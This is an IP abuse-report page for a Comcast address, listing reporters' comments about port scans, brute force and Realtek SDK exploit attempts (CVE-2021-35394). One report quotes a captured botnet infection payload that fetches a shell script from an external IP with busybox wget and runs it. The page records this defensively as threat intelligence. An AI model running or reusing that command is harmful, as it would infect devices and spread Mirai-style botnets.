71.200.106.174

Recent Activity This IP has received recent abuse reports, which causes the score to increase.
Abuse Confidence Score
99% Critical
24 reports
19 reporters · latest 4 hours ago
ISP
Comcast Cable Communications, IP Services
Usage Type
Fixed Line ISP
ASN
AS33657
Hostname(s)
c-71-200-106-174.hsd1.dc.comcast.net
Domain Name
comcast.net
Country
🇺🇸 United States of America
City
Frederick, Maryland
Log in to view charts and search reports for this IP. Log In
Example preview
Account required for the enhanced features Log in Sign up

Abuse Reports

Total reports
24 from 19 distinct reporters
First reported
Most recent report
Last 60 days
Top reporter locations 🇧🇷 Brazil 7 🇮🇩 Indonesia 4 🇺🇸 United States of America 4
Most common categories Hacking 12 Port Scan 9 Brute-Force 4 Exploited Host 3 IoT Targeted 2
Recent reports We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.
Reporter IoA Timestamp (UTC) Comment Categories
🇮🇩 Diskominfo Lumajang
Security Event Detected by SOC Diskominfo Lumajang: event=alert, hits=1
Brute-Force
Anonymous
Remote command execution attempt.
Hacking
🇧🇷 diego
[rede-44-49] 11/11/2026-16:01:15.609551, 71.200.106.174, Protocol: 17, ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394)
Hacking
🇮🇪 RoboSOC
Realtek Jungle SDK Remote Code Execution Vulnerability, PTR: c-71-200-106-174.hsd1.dc.comcast.net.
Hacking
🇧🇷 noconex
Wazuh Alert | Rule ID: 110100 | Desc: Suricata: exploit (ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394)) de 71.200.106.174
Hacking IoT Targeted
🇹🇭 MWA SOC
Hacking
🇺🇸 Cyber Crusader
Hundreds of Attempts (at least) to Connect to and Access Firewall Ports
Port Scan Hacking Brute-Force
🇮🇩 Diskominfo Lumajang
Security Event Detected by SOC Diskominfo Lumajang: event=alert, hits=1
Brute-Force
🇫🇷 uthul
T-Pot honeypot: 1 hits on ports [9034] (automated)
Port Scan
🇮🇩 leomardsy_
Port Scan
🇧🇷 diego
[rede-44-49] 11/10/2026-06:07:01.319709, 71.200.106.174, Protocol: 17, ET EXPLOIT Realtek SDK - Command Execution/Backdoor Access Inbound (CVE-2021-35394)
Hacking
🇺🇸 Red Five
FortiGate IPS blocked high-confidence malicious activity.
Web App Attack
🇺🇸 HamSammich
Automated sensor: 1 port 9034 connection/probe attempts over the last 24h (latest 2026-11-10T01:32Z).
Port Scan
🇧🇷 chronos
Unknown service: Connection attempt to UDP port 9034. | Port: 9034 | Proto: UDP | rDNS: c-71-200-106-174.hsd1.dc.comcast.net | AS: AS7922 Comcast Cable Communications, LLC | Location: United States, Washington (~20km)
Port Scan
🇵🇱 ToJa
Port Scan, brute force, Mirai or Gafgyt/Bashlite infection attempt. Payload: orf;cd /tmp;rm wget.sh;/bin/busybox wget http://58.211.144.243:800/wget.sh;sh wget.sh realtek; #
Port Scan Brute-Force Exploited Host IoT Targeted

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇩🇪 185.176.204.143
🇨🇳 118.25.187.138
🇷🇴 80.94.95.115
🇸🇬 14.102.84.154
🇺🇸 199.165.159.55
🇳🇱 195.178.110.134
🇨🇿 195.123.245.241
🇩🇪 194.5.49.53
🇺🇸 192.255.229.99
🇺🇸 189.75.178.205
🇺🇸 185.195.57.168
🇦🇿 185.143.197.45
🇬🇧 185.55.189.131
🇫🇷 163.172.66.206
🇺🇸 162.216.149.106
🇺🇸 147.185.132.229
🇨🇳 140.246.61.93
🇨🇳 117.50.73.90
🇳🇱 109.160.32.170
🇺🇸 109.105.210.18
feedback